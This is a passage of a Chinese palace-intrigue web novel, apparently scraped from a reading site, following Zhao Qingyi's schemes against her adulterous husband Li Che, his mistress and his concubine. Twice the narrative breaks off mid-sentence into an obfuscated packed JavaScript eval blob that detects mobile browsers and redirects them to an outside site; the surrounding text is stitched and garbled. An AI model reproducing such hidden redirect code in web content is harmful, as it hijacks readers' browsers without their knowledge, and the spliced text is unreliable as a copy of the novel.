事已至此,他还能如何?总不能为了骏哥儿,把他同样亲生的长子赶出府去吧? 最近他的名声不好,再有这种事传扬出去,恐怕这辈子都入不了翰林了。 为了自己的官声,李彻只能暂且妥协。 赵漫仪却憋了一肚子的委屈,看玉袖故意歪在自己男人怀里,旁边还有个七岁大的儿子,亲热地唤着父亲,她便觉眼睛疼。 明明她和骏哥儿才是李彻的一家人! 赵漫仪姣好的面容一点点扭曲起来,怀中的骏哥儿哪里见过她这幅狰狞的样子,吓得又哇哇大哭。 李彻如梦初醒,推开玉袖。 赵漫仪已经收敛好神色,故作难为情,“姐夫,这孩子怕是知道没人喜欢他,这才一直哭个不停。” 李彻只好恳求罗氏,“母亲,孩子抱都抱回来了,毕竟是族里的孩子,与我们是断不掉的血亲,总不好弃之不顾。” “那你还不赶紧把他送回去?”罗氏不吃他这一套,“我们府里如今有正儿八经的嫡子了,用不着再过继旁支的孩子,眼下送回去,还来得及。” “那怎么成?” 赵漫仪忍不住插嘴道,“伯母,虽然我还不知其中内情,但这孩子毕竟是姐夫千里迢迢抱回来的,眼下说不要就不要,只怕族里的亲戚会说三道四,万一连累姐夫名声可就不好了。” 内阁有意将李彻翰林编修一职换掉的事,赵漫仪有所耳闻,索性打蛇拿七寸。 罗氏一听,果然开始犹豫不决,“这、说的也是……” “当真是个麻烦精。”李素素撇嘴抱怨道,“哥哥也是,明知自己有亲生儿子,为何还要抱别人的儿子回来养?” 赵漫仪勉强维持的笑脸有些僵硬,端在身前的手不自觉绞在一起。 可再生气也没辙,当着赵清仪的面,儿子的身份不能暴露。 “好了。”李彻不想再听这些没有的废话,把孩子送到小厮青石手里,“孩子先养在府里,以后的事,以后再说。” 青石抱着孩子,小心觑了眼赵清仪与罗氏的脸色,“大爷,小的也不懂如何照顾孩子,要不,您看是送到大奶奶房里,还是送到老夫人哪里?” “我不要。” 罗氏想也不想,摆手拒绝,“我一把年纪了,觉浅,这孩子万一夜里哭闹,可不得收走我半条老命。” 李素素也拒绝,“哥哥,我还未出阁呢,在院子带个孩子,像什么呀……” 看李彻脸色黑沉沉的,她索性祸水东引,指着赵清仪,“嫂嫂可以,反正她都养着骄儿了,不差这一个。” 接收到李彻期盼的眼神,赵清仪揽过李骄的肩,“非我不愿意,只是过继骄儿的时候请先生看过八字,都说我命里福薄,一生就一个儿子,只怕那孩子到我院里,会养不活呢。” 李素素不晓得赵清仪何时找人算过八字,便想反驳她。 李骄耐心耗尽,按着突突直跳的太阳穴,“行了,别再吵了。” 万万没想到,自己另一个亲儿子回到李家,居然成了人人不要的烫手山芋,他只好吩咐,“青石,去京中请个有经验的奶娘婆子回来,暂且让奶娘养着。” 赵漫仪见厅中几人来回踢皮球,谁都不想管她儿子,心早就疼得滴血了,早知道会这样,她不如叫李彻在外头再置办个宅院,让她继续像从前那样照顾儿子,也好过今日让人百般嫌弃。 只是眼下说什么都晚了。 赵漫仪目送孩子远去,一双美眸通红。 再忍忍,再忍忍就好了,等赵清仪成了没用的下堂妇,她就能名正言顺抬进李家,就可以和骏哥儿,和李彻永远在一起。 对,忍一忍,都是为了她和孩子的将来,眼下要紧的是和赵清仪打好关系。 赵漫仪平复好心情,转过身来,皮笑肉不笑地摸摸李骄,“这孩子长得真好,无怪大姐姐如此喜欢,大姐姐,我们姐妹也有好些年不见了,妹妹有许多话想同你说。” 她走到赵清仪身边,热络地牵起手,仿佛在追忆她们的过去,“大姐姐,今晚我想和小时候一样,与你睡在一张榻上,咱们姐妹叙叙旧,可好?” “如今怕是不妥。”赵清仪淡笑着拂开她的手,“大爷刚回京,家中有许多琐事需要处理,还得帮骄儿入族学,不如等我忙过了这一阵?” 赵漫仪贝齿轻咬下唇,很是不舍。 上辈子,她便是用这幅姿态哄骗赵清仪,目的也是为了留宿李家,好继续与李彻暗通款曲。 赵漫仪可怜兮兮地盯了赵清仪片刻,见对方都没有改口的意思,只好作罢。 李彻怕她又缠上自己,正想找个借口离开,宫里便来了人,说是陛下召见,这在京中算是史无前例,要知道真正能面见龙颜之人屈指可数,李彻不过小小七品官,能得陛下召见,算是大梁头一份了。 罗氏喜不自胜,“当真是陛下,要见我儿?” 来传话的小内侍微微蹙眉,好个粗鄙无知的妇人,“是陛下有话要问,李大人,快些随咋家进宫,莫叫陛下久等了。” “是,劳公公稍等,下官即刻更衣。”无论大小,对方都是皇宫里出来的,李彻态度十分恭敬。 小内侍从鼻孔里嗯了声,等李彻从他眼前走开了,他才注意到款步而来的赵清仪,眼神顿时就变了,不再是刚进门时的轻慢,取而代之是谄媚至极的笑脸。 “原来是赵大奶奶,咋家先前没瞧见,失礼了,不知大奶奶近日身子可好?”听这话,就觉二人熟稔。 事实上,赵清仪对这内侍没什么印象,不过想来是因为父亲即将升入内阁的缘故,而宫里当差的,个个都是人精,惯会踩高捧低,便回了半礼,“有劳公公记挂,好多了。” “赵大奶奶太客气了。”小内侍笑得脸都快僵了,又与赵清仪寒暄两句。 罗氏与李素素被冷落一旁,面色都不太好看,她们一个探花郎的亲娘,一个探花郎妹妹,居然还被 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李彻垂着眼睛,余光隐约能瞥见前头杵着一扇金漆云龙纹屏风,这一次,他还是没资格得见天颜。 他伏在金砖之上等了半晌,屏风另一头才传来年轻男子低沉的嗓音,“平身吧。” “谢陛下。” 不知为何,听声音明明很年轻,甚至……或许比自己还要年轻?可声音传来却自有一股上位者的威慑,短短片刻,就让他出了一身汗。 屏风后,楚元河手肘支在案上,显得几分漫不经心,“朕近日听到不少流言,你自己可有所耳闻?” 流言?是因为母亲吗? 李彻不敢欺瞒,“微臣有罪,家母只是心直口快,绝无冒犯陛下之意,还望陛下看在家母出身微末,粗鄙无知的份上,酌情宽恕一二。” “你倒是认得快,朕也没有旁的意思,不过闲来无事,多问一句罢了。”楚元河不屑地勾起唇角,“不过朕确实好奇,当年朕要你去岭南,爱卿是否心中有怨?若是无怨,令堂何故借此深夜辱骂儿媳?” “微臣不敢!” 李彻慌忙磕头,内心闪过无数念头,区区家宅之事,陛下居然都知道了?这皇城之下,果然没有秘密。 李彻额角不由滑下几滴冷汗。 “不敢就好。”楚元河轻轻转动脖颈,依旧是漫不经心的语调,“尊夫人到底是赵大人之女,而赵大人是我朝中栋梁,他的女儿,容不得旁人轻慢。” “是……”李彻头埋得更低了。 后怕之余,又有些摸不着头脑,这位陛下性情古怪,向来不按常理出牌,突然提到他的发妻,难道别有深意? 莫非,这三年他养外室的事,已经被陛下知道了?! 隔着屏风,楚元河看清了他畏畏缩缩的姿态,没来由更厌恶了,“这段时日,你就在家中反省,暂时不必去翰林上值了。” “陛下?” 李彻浑身一僵,犹如五雷轰顶,他快速膝行几步上前,“陛下,微臣知错了!微臣回到家中一定极力约束家母,管教幼妹,决不再犯!” 说完又咚咚咚连磕三个响头,上头却只有冷冰冰的三个字—— “滚出去。” 足见这位年轻帝王的喜怒无常了。 被内侍架起拖出去时,李彻已然失去了全身力气,像一滩烂泥被拖到殿外。 不,他不能就这么完了,一定还要办法的,一定还有办法重回翰林院的!他可是朝廷亲点的探花郎啊! 他还有赵清仪这个妻子。 对,陛下给他的暗示很明显了,只要他牢牢抓住赵清仪,抓住赵家这条人脉,他就能重回翰林! 14. 第 14 章 待李彻被拖出文华殿,隔在中间的屏风才被宫人挪开。 与此同时,玄色龙袍广袖一挥,楚元河倏地站起了身,瞬间便将身后光影遮住大半,衣摆处的五爪金龙随着他的步伐游动,似有破云而出的气势,内敛之余,暗藏锋芒。 内侍福贵匆忙跟上他的脚步,“陛下,您又怎么了?” 召见李彻之前陛下便不甚愉悦,怎么见了之后,火气更大了? 楚元河薄唇紧抿,他不过二十二岁,俊逸的眉峰却凝着一股久经沙场化不去的煞气。 他没办法同任何人解释,难道要他说,他的怒气是从虚无缥缈的梦境而来? 想起那些支离破碎的梦,楚元河便抑制不住心底那股戾气,疯狂的,暴虐的,仿佛随时要发泄出来,毁天灭地一般。 而主导他所有情绪的只是一个人,一个,他惦记多年的人。 此前,他想方设法给足她尊荣体面,极力提拔她的夫君,只是楚元河发现,自己并没有想象中那般大度。 新婚夜,他还是忍不住把那个男人召进宫里,拖了一整夜,再将人远远打发走。 三年过去,他以为自己放下了,于是同意内阁将人调任回京。 他想,他不能自私,他应该盼着她好,盼着她夫妻恩爱,和和美美。 可结果呢,在他的梦里,她居然毫无预兆的死了。 是被李彻还有他的外室,以及那个奸生子联手害死了! 李彻还不知当今陛下已对自己生出杀意,他怀着忐忑不安的心回府,马车刚入府学胡同,便有一人拦住了去路,驾车的是小厮青石,认得来人。 “大爷,是三小姐。” 李彻还在揣摩圣意,忽然听到这句话,险些吓破了胆,赶紧从撩开帘子左顾右盼。 陛下连他家宅里的事都一清二楚,可万不能叫人发现他与赵漫仪那些事。 李彻正警惕着,赵漫仪紧紧扒住马车边缘不让他走,豆大的泪水簌簌滚落。 李彻知道她想说什么,索性下了马车,催促青石先往前走,趁着四下无人,拽着赵漫仪躲到一条狭窄漆黑的小巷里。 “你最近别来找我了。” 赵漫仪的眼泪顿住,她原以为李彻第一句话该是安慰她的。 “什么意思?” 昏暗的光线里,男人表情晦暗不明,赵漫仪满腹委屈,“你骗了我,你还要赶我走?” “我没有骗你。” 眼看她就要哭出声来,李彻一把将人拉到怀里,“漫儿你别多想,你是骏哥儿的娘,我赶走谁,也不会赶走你啊。” 窝在他怀中,赵漫仪一整日的惶惶不安终于有了归处,她环住男人的腰泣不成声,“可当初你同我在一起时,也没说你和别的女人还有一个孩子……” 李彻就知道她来找自己是要问这件事,他按捺着性子解释,“事情不是你想的那样,那玉袖是我年少时家中安排的陪房丫头,后来她瞒着我有了身孕,我母亲便将她远远送走了,我从来没想过要认这个孩子。” 赵漫仪不相信,“你没想要,那她和那个孩子怎么回来了!” “我都说了,我也被蒙在鼓里,我若事先知道她们要把玉袖母子接回来,一定不会同意过继之事。” “可现在说这些,还有什么用?” 赵漫仪并没有被安慰到,只要想到自己儿子没名没分待在李家,也没人待见,她就难受。 “我们的骏哥儿做不成嫡长子了,还随时可能被送走,我这个做娘的,一想到他孤零零一个人,身边也没个关心他照顾他的,我的心就……” “好了好了。”李彻拥着她,大掌轻轻抚着她的脊背,语气温柔,“我知你委屈,也知你对自己庶出身份耿耿于怀,怕他会像你一样处处受嫡子欺负,你放心,我不会让咱们的儿子再受这份委屈,我还会请来最好的奶娘照顾他。” 赵漫仪咬着嘴唇,清润的美眸中泪花闪闪,“那、那还要多久?” 李彻微怔,“什么多久?” 赵漫仪顿时来气,推开他,“好啊,原来你压根没想让我进门!” “你不是答应过我,要让骏哥儿做嫡长子,还要八抬大轿娶我的!这些都是当初你对我的承诺,如今你都忘了吗?还是,你嫌弃我了?嫌我是寡妇之身,觉得娶我让你丢人了?” 赵漫仪越说越激动,声音也越来越大,李彻慌忙捂住她的口鼻,“我没有忘记对你的承诺,这不刚回京,还需要时间……” “我不听!” 赵漫仪挣开他,哭得十分伤心,“骏哥儿才三岁,正是需要爹娘的时候,你不能给他最好的,还要让我们母子分离,你不尽快休了那个女人,只会让我等等等……” 赵漫仪觉得,全天下再没有比她更憋屈的人了,“想当初我为了生下骏哥儿,吃了多少苦头,我一个人住在外头的宅子里,独自抚养骏哥儿,没日没夜……” 她开始喋喋不休回忆起过去的日子,每当她说起这些,李彻总会一脸心疼地抱住她,这次也不例外。 李彻实在没辙,硬是挤出两滴眼泪,“对不起漫儿,都是我不好,是我让你和孩子受委屈,但我保证,等我入了翰林,等一切都稳定下来,我一定加倍补偿你,好不好?” 赵漫仪还是担心,“可是骏哥儿……” “放心,我找个机会与母亲坦白,她只要知道孩子是我的,便会悉心照顾的。”李彻自认为考虑周到了。 赵漫仪情绪总算稍稍稳定下来,抽抽搭搭地依偎在男人胸前,“姐夫……” 可算哄住了。 李彻松了口气。 赵漫仪忽的想到什么,正色问,“对了,陛下召你入宫,可是为了你入翰林院的事?” 说到这,李彻一张俊脸垮了下来,“陛下为了京中流言特意敲打我一番,叫我停职在家,暂缓入翰林。” 赵漫仪慌了,“怎会如此?” 李彻仕途受阻,她和骏哥儿还能有什么指望? 李彻这会儿比谁都心烦,“所以我叫你别再来找我了,现在得避嫌,以免节外生枝……” 说及此,他忽然又轻轻抱着她,缓和语气,“当然,若是方便,你再同你姨娘说说,看她是否有法子劝动你爹,让你爹在朝中帮我说几句好话,此前我能调任回京,你不是说,是你父亲在背后帮我游说?” 赵漫仪扯了扯嘴角,有些心虚,“这……我试试看吧。” 她总不能现在告诉他,他之所以能调任回京,还是赵清仪在背后出力吧? 李彻自顾自地说,“我其实怀疑流言只是表面原因,或许真正阻我入翰林的,是因为赵清仪她爹,听说她爹支持张首辅提出的新政十策,为此招来不少权贵嫉恨,我又是他名义上的女婿,那些人自然不愿我再有入翰林成为天子近臣的机会。” 赵漫仪掩唇惊呼,“原来,竟是这样……”她心里也很后怕,李彻的仕途若真出了问题,她和骏哥儿后半辈子就完了。 她扭着身子蹭了蹭,撒娇道,“我错了嘛,我不会同你闹了,回头,我再找我娘商量一下。” “这才是我的好漫儿。”李彻受不了她这幅样子,低头吻住她的唇,只是刚亲上,赵漫仪便扭头躲开了,“对了姐夫,还有一件事……” “什么事?”李彻逮着她的唇吻得难舍难分。 赵漫仪假意挣扎几下,“我想,能否找个借口,让我先住进李家?” 李彻逐渐狂热的动作一僵。 赵漫仪赶忙搂住他的脖子,“姐夫,就当是我进府陪陪大姐姐,我也能日日见到我的骏哥儿,不会影响你的……” “不行。”李彻还没到色令智昏的程度,离家三年,他对李府已经不熟悉了,说不准哪个角落就有陛下的眼线,“这事还得从长计议……” “又是从长计议!” 眼看赵漫仪又要使性子发作起来,李彻无奈,“你怎么不为骏哥儿想想?万一你我的事暴露了,让人知道骏哥儿与你的关系,骏哥儿这一辈子可就完了,难道你想让所有人都知道,骏哥儿是个上不得台面的奸生子?” 说到儿子,赵漫仪果然冷静下来,委屈的泪水再次溢出眼眶。 “好漫儿,你就当为了骏哥儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她如今一门心思都在赵清仪这位主母身上,只有主母万事顺遂,她和骄儿才能过上好日子,凡是有可能影响主母地位的人和事,她都得想办法提醒,好在,这位主母比她想象中的厉害,也更沉得住气。 赵清仪明白她的心思,想到白日里玉袖那熟练的一哭二闹,便知她不是个善茬。 这样的人,最好能为己用。 “我让你进府,是让你伺候好大爷,旁的事情,包括骄儿,你不用操心,还有一点我要提醒你,男人的情爱,永远比不上切实的利益。” 上辈子,赵漫仪将所有委屈和不幸都归咎到自己头上,认为是自己夹在她和李彻的感情之间。 这一世她要看看,没了她,这对狗男女又能如何情比金坚? “谢大奶奶提点,妾身记住了。” 玉袖是第一个陪伴李彻又被无情抛弃过的女人,没人比她更清楚李彻的凉薄。 倘若这个男人真的有心,当初也不会为了高娶贵女,任她和孩子流落在外多年,生死不问,她若为这个男人和主母反目,才是蠢得无可救药。 “天色不早,奶奶早些歇息,妾身明日再来向您请安。”玉袖恭恭敬敬行礼告退。 临走时,赵清仪提醒她,“大爷晚些应该会过来,你想法子把他带到你院里。” 玉袖虽是生过孩子的,听了这话还是红了脸,“是,妾身定当尽力。” 等她出了揽月阁,檀月和俏月两个丫头才重新进来,檀月手中还有一封用蜜蜡封好的书信,“是表少爷悄悄让人送进来的,应当是老爷夫人的回信。” 赵清仪一下来了精神,小心翼翼拆开信封,将里头的信笺取出,是父亲的笔迹没错,看完后她将信笺叠好,终于发自内心笑了起来。 “父亲已收到圣旨,不日便要启程,他虽不清楚我想做什么,却还是愿意听劝从顺德府改道回京。” 两个婢子也不清楚赵清仪的想法,但见赵清仪高兴,便也高兴,“原来近日一直忧心的是这件事,不过,奶奶你是如何提前知晓老爷会调任回京呢?” 赵清仪察觉失言,但她信任两个婢子,便半真半假地说,“我也只是预感,上回遇到婉琰我才敢确定,加上最近山西一带不太平,时常有劫匪出没,安全起见,还是让父亲绕路为好。” 如今有了确切的回信,赵清仪一颗心勉强安定下来,只是她刚把信收进匣子里,赵漫仪的声音就从门外传进来。 “大姐姐,我能进来吗?” 15. 第 15 章 赵清仪杏眸瞬时冷了下去。 两个婢子慌忙迎出去,她们也是疏忽了,没想到赵漫仪会在这个时候过来,谁让她进府的? 只是想拦已经拦不住了,赵漫仪面色红润,一脸春风得意地走进来,“大姐姐,我听说你身子不好,特意在家中做了些补身的药膳给你送来,你快尝尝。” 她将食盒里的汤盅端出来,放在赵清仪面前,一股鲜香顿时扑面而来,确实是从赵家带过来的。 赵清仪扫了一眼,淡声道,“多谢三妹妹好意,但已过酉时,我不进食。” 在岭南做了三年外室,她时常在这个时辰给李彻洗手作羹汤,哪里晓得赵清仪的习惯,闻言尴尬地笑了笑,“三年未见,妹妹不太清楚姐姐的规矩,是妹妹唐突。” 不过檀月还是很机灵地上前将汤盅端走,“三小姐好意,奴婢先替奶奶收下了。” 赵漫仪挤出一丝笑,袅袅坐下,视线不自觉在屋中逡巡。 原来不止出嫁前,出嫁后,她的堂姐生活依旧优渥,瞧瞧这揽月阁,银屏金屋,富丽堂皇,摆设物件哪样不是价值连城的金贵之物? 反观自己,同样是赵家女儿,出嫁的待遇却天差地别,赵清仪可以嫁给前途无量的探花郎,自己去被那狠心嫡母安排给一个病秧子冲喜,早早就让她做了寡妇。 若非她自己争气跑去岭南给李彻生了骏哥儿,她就要被赵清仪一辈子踩在脚下,可这三年的日子,她和李彻过得依旧不如这堂姐舒心。 这偌大的李家,凭什么就赵清仪一个人享受? 赵漫仪心中愤愤,早忘了三年里,罗氏送去岭南的银子就跟流水一样多,最后这些钱不还是花在她和儿子身上。 此刻她还在心里埋怨李彻,埋怨他不让自己住进李家,也不想想,她和赵清仪可是堂姐妹,过来小住几日没人会说什么。 “大姐姐。” 赵漫仪亲热地坐了过去,挽着赵清仪的胳膊说,“这些年你一个人支撑李府,岂不是很辛苦?家人下人就这么几个,会否忙不过来?可要妹妹留下帮衬一二?” 就差没把那点心思明明白白写在脸上。 赵清仪侧目看她,黑白分明的眸色仿佛能洞穿人心,“都是些小事,谈不上辛苦,倒不必麻烦三妹妹。” “大姐姐……” 赵漫仪抱着她的胳膊撒娇。 没等赵清仪再说话,李彻就慌忙进来了,故作惊讶的问,“三妹妹也在这儿?” 赵清仪不着痕迹地挑眉,人不就是他放进来的,还在她跟前装傻。 赵漫仪对上李彻的眼睛,明显是心虚了,先前两人欢好时她哄着李彻,只说过来给堂姐送药膳,决口不提住进李家的事,李彻正在兴头上便答应了,这下却被他抓个正着,回头定少不了要数落她不够谨慎了。 “大姐夫。”赵漫仪起身施礼,一副与他不熟的样子。 赵清仪已经准备歇下了,身上只着中衣,青丝披散,不像白日里那般不近人情,加上她本就貌美,身段更是时下少有的纤秾合度,凹凸有致,并不过于清瘦。 李彻不由多看两眼,开口打发赵漫仪走,“时辰不早了,三妹还是早些回赵家去吧。” 赵漫仪猛地抬头,暗暗瞪着李彻,李彻不停给她使眼色。 赵漫仪似笑非笑,“方才三妹妹才说想在府上小住几日,夫君又何必赶她走?” “我不是这个意思。”李彻差点夹在中间里外不是人,干笑两声,“这不是离家太久,家中庶务全靠你一人操持,怕你太过劳累,便想让你好好休息几日。” 也不知真情还是假意,赵漫仪眼眶通红,“是妹妹不懂事了,深更半夜还来叨扰大姐姐。” “来都来了,就住下吧。” 赵漫仪非要住进来,她怎好拒绝? 赵清仪笑着吩咐俏月,“琉璃斋刚收拾过,隔壁厢房空着,你带三小姐过去安顿。” 俏月当即应是,请赵漫仪随她出去。 看着屋中面对面,一站一坐的夫妻俩,赵漫仪咬着唇,又用眼神悄悄警告李彻。 她们才好过,李彻应该不至于憋不住。 等赵漫仪走了,赵清仪才冷下脸打发李彻,“我累了,需要歇息,夫君请回吧。” 李彻正想与她说几句话亲近亲近,蓦地被她泼了一盆凉水,心里就不痛快了,“怎么,三年不见,你就是如此对待自己丈夫?” 赵清仪眉头都不曾皱一下,平静地说,“嫁你本就非我所愿。” 李彻知道赵清仪心高气傲,当初下嫁也只是为了履行婚约,与他没有感情可言,可当他亲耳听到这句话,还是觉得被人打了脸一般,火辣辣的疼。 事关男人的自尊,他怎么能忍? “赵清仪,我是你丈夫,不管你愿不愿意,这都是事实!”既是夫妻,圆房就是她作为妻子应尽的责任。 赵清仪懒得理他,转身往内室走去,檀月就拦在珠帘之外。 李彻决定今晚就得把人办了,抬脚要走进去,玉袖不知从哪儿冒了出来,正好看见他,“呀,大爷?” 李彻脚步一顿。 玉袖走了过去,很是抱歉地说,“先前手帕落在奶奶房里了,便想过来取,没成想却是打搅了大爷与奶奶的好事,妾身实在该死。”说着还轻轻给了自己一记耳光。 有玉袖这个外人在,李彻若想强行办事,只怕会落了男人的脸面,毕竟发妻不愿与自己圆房这种事,传出去就是丢人。 他忖了忖,没再靠近内室,而是看向玉袖。 俏月送赵漫仪去琉璃斋时就给玉袖通风报信了,玉袖先前得了吩咐,早早换了身绯色薄纱裙等着,为了快些赶到揽月阁,她一路小跑着来,累得气喘吁吁,雪白的胸脯藏在薄纱之下,若隐若现,起起伏伏。 一个冷若冰霜不解风情的妻子,一个善解人意娇俏妖娆的妾室,李彻当即就做出了选择,像是故意气赵清仪一般,直接将玉袖打横抱起往外走了。 挡在珠帘前的檀月松了口气,“还好姨娘来得及时。” 半晌,俏月绕着另一条路回来了,还带着一脸懵懂的李骄,“大少爷,今晚您就歇在奶奶院里可好?”她哄着李骄,把他带到隔壁安置。 李彻原本只是为了气一气赵清仪,可当他抱着玉袖出去后,玉袖身上那股若有似无的甜香便在他鼻端萦绕,勾得他神魂颠倒,呼吸急促了几分。 “你房间在哪儿?我送你回去。” “穿过这条廊庑,左拐便是了。” 玉袖勾着他的脖颈,薄纱早就滑落,露出两截白晃晃的细长玉臂,她被李彻盯得脸热,手指无意识绞弄着李彻肩头的衣裳。 “妾身这些年在庄子上,时常会想起大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651498|172343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷……” 短短几步路的距离,李彻在几句话的功夫下,已经想起了年少时玉袖带给他的快乐,那是他第一个女人,也是教会他床笫之事的女人。 他心中激荡不已,迫不及待进到房间里,甚至没抬头看一眼院门上的匾额——琉璃斋,正是赵清仪安排赵漫仪小住的地方。 一进到房中,玉袖身上的薄纱便被撕扯成碎片,等她到榻上时,二人已是坦诚相见。 赵漫仪就宿在隔壁房里,两间屋子相连,但凡有丝毫动静都是瞒不过去的,她刚在房里洗漱干净,准备吹灯就寝,就听得隔壁传来奇怪动静。 她不是未经事的小姑娘,听到床帐嘎吱作响,便知隔壁的人在做那种事,原是不屑懒得理会,刚要上榻,赵漫仪忽然脸色一变,手指不禁颤了颤。 不对,隔壁住的似乎是那个叫玉袖的姨娘。 那眼下正和玉袖…… 赵漫仪胸口剧烈起伏。 不不不,不可能,李彻先前分明是在揽月阁,赵清仪是个木讷无趣的女人,她相信李彻不会对她有兴趣。 可若换成了那个会勾人的玉袖…… 不会的不会的! 李彻说过只爱她的! 赵漫仪心中安慰自己,却还是慌了神,整个人贴上墙壁,恨不得耳朵眼睛都长在墙壁另一头。 她屏息凝神仔细听,隐约是粗重的喘息,间或是零碎的只言片语,但都被床榻摇晃的声音盖了去,无法判断隔壁之人是否就是李彻。 赵漫仪索性提裙跑出去,跨出门槛她又缓下了脚步,女子娇滴滴的声音传入耳中。 “大爷……” 很快那喘息便淹没在剧烈的嘎吱声中。 赵漫仪浑身抖得厉害,她捂着心口,那里仿佛被一只大手死死攥着,疼得厉害,而她每靠近隔壁一步,双足就如同灌了铅般沉重。 她慢慢行至门前,终于听见男人畅快的一声低吼,这一次她听得真切,那是她再熟悉不过的声音。 居然真的……是李彻! 赵漫仪只觉脑中“嗡”的一声,最后侥幸顷刻灰飞烟灭,她身形一晃,险些站不稳。 强烈的背叛与愤怒涌上心头,她双目盈泪,作势要破门而入,理智又生生拉扯住她推门的手。 玉袖是李彻的妾,他们在一起天经地义,便是赵清仪这个原配嫡妻来了都无法指摘,而她若此时闯进去大吃飞醋,定会引人怀疑。 因为她根本没有立场,没有资格去控诉李彻。 赵漫仪努力克制自己,紧握的拳头指甲深深嵌入掌心,她气愤转身回到自己屋里,想强迫自己冷静。 可那动静隔着一堵墙,沉寂片刻后,再次清晰传入她的耳畔,一瞬间让她想起了自己与李彻的那些事。 如今,在他身下承.欢的,却换成了另一个女人。 而前一刻,李彻分明信誓旦旦说过,他只爱她赵漫仪一个。 什么逼不得已,什么不知情,全都是骗她的! 嫉妒与愤怒几乎要溢出来,赵漫仪紧紧咬着后槽牙,一怒之下抄起桌上的茶盏重重砸在地上。 这一砸彻底激发出她心底所有的痛恨与委屈,她再难克制,双肩颤动,胸口起伏不断,又接二连三砸了好几样东西,却仍不解恨。 视线掠过笸箩里的剪子,她冲过去一把攥在手里。 16. 第 16 章 杀了他们!杀了他们! 疯狂的念头占据了她的大脑,赵漫仪攥着剪子,浑浑噩噩到了门口。 最终骏哥儿的小脸在她脑海中闪过,她赤红的双目终于恢复一丝理智,又跌跌撞撞回到卧房。 到底还是为了儿子,忍下了。 赵漫仪握着剪子狠狠扎在床帐上。 她气得一夜未眠,而隔壁的死动静竟持续到后半夜,天都快亮了才肯消停,还是因为有昔日同僚给李彻下了帖子,他出门应酬去了。 回想起过去几年和李彻的缠绵悱恻,赵漫仪便觉讽刺。 婢子进屋准备伺候她,就被屋中一片狼藉吓到了,茶盏瓷器碎了一地,就连榻上的床帐都被人用剪子戳得千疮百孔,瞧着很是渗人。 婢子端着洗漱铜盆,颤抖着走到赵漫仪跟前,“三、三小姐……” 赵漫仪独自在房里发了一夜的疯,衣衫凌乱,发髻也歪歪斜斜,她瞥了眼婢子,不死心的问,“昨晚,大姐夫是不是歇在那个姨娘房里?” 婢子虽不清楚她为何要关心这件事,还是讷讷应了声是。 赵漫仪深吸一口气,仰头看向窗外,泪水如断了线的珍珠般滚落。 婢子怕自己再待下去就要知道些不该知道的,会成为被殃及的池鱼,慌忙搁下铜盆出去,跑到玉袖跟前回话。 琉璃斋拨给玉袖之后,大奶奶就发过话,院里的婢子都得听玉袖姨娘的。 玉袖折腾一夜后,到了晌午才扶着腰起身,听到婢子的回话并不意外。 昨晚隔壁摔东西的动静她其实也听见了,这样的好事,她当然得告诉大奶奶了,仔细梳洗后就去揽月阁向赵清仪请安。 这会儿用过午膳,赵清仪很是悠闲在亭子里纳凉,大理石桌上还有一份用琉璃盏盛放的冰镇莲子羹,并一小碟糖渍樱桃。 玉袖施施然过来,赵清仪便瞧见玉袖脖颈上几处红痕,微微一笑,“昨夜辛苦你了,坐吧。” 玉袖原先还怕赵清仪不高兴,直到见了人心才安定下来,“大奶奶放心,妾身用过避子汤了,不会给大奶奶添乱的。” 喝过避子汤便不会有孕,只要不怀孕,她就能想办法一直绊住李彻,不让那人打搅了奶奶的清静。 赵清仪明白她的用心,让檀月去库房里取些补身之物,“倒也不必如此,避子汤喝多了对你身子不好,我这有些滋补之物,你拿回去吃,务必养好身子。” 玉袖没想到赵清仪还会这般关心她,慌忙福身道谢,随即在院里找了一圈,“昨晚俏月姑娘把骄儿带走了,眼下怎么不见骄儿出来?” “今日一早我便让人送他去赵家族学了,你放心,答应你是事我自然会做到,更何况,骄儿不仅仅是你的孩子,也是我名义上的嫡子,我自然会为他周全。” 赵清仪不敢全然相信一个人,即便她知道玉袖是个知恩图报的,可人心难测,只有李骄在她手里,才算是捏住了玉袖的软肋,只要她不兴风作浪,她就能给李骄一个好前程。 她有如此打算无可厚非,玉袖只有感激,不敢置喙,“辛苦奶奶为骄儿操心了,对了,有件事,妾身觉得,应当知会您一声。” 便把赵漫仪昨夜发疯的事一五一十说出来,玉袖自个儿都心惊肉跳,还好那个女人没有完全失控,否则昨晚就该拿着剪子进她房里了。 赵清仪手执汤匙,不紧不慢搅动琉璃盏中的莲子羹,听玉袖说完,唇角已经扬起了愉悦的弧度。 至此玉袖可以断定,昨夜大奶奶就是故意把赵漫仪安排到自己隔壁厢房,又让她勾着大爷宿在自己房里。 莲子羹入口软糯清甜,沁人心脾,赵清仪心情好,“我知道了,你先回去,最近自己小心些。” 以赵漫仪的疯狂,肯定会有所报复。 玉袖明白赵清仪话里的深意,之后几日她每次都抢在赵漫仪出现之前,先把李彻哄到自己房里。 李彻最近停职在家,整日外出与一帮同僚应酬,每回都醉醺醺的回来,三两下就被玉袖勾走了魂。 而玉袖,到底是陪李彻时间最长的女人,又惯会伏低做小,从不耍小性子,很容易就让李彻沦陷,在琉璃斋过得醉生梦死,早忘了还有赵漫仪这个人,几乎日日沉浸在玉袖的温柔乡里。 赵漫仪原想给李彻一个机会,对方却连着几日都宿玉袖房中,甚至不知道自己就在隔壁厢房,她越想越气,第二日反常地去见玉袖。 玉袖就等着她出手,压根没让人拦她,甚至在她进门时才不紧不慢套上外衫。 赵漫仪手里拿着一盒胭脂,面上带笑,在看清玉袖那一身暧.昧红痕时,笑意就有些维持不住了。 “三小姐,您今儿个怎么想起来我这了?”玉袖笑眯眯看着她,好似没发现她的异常。 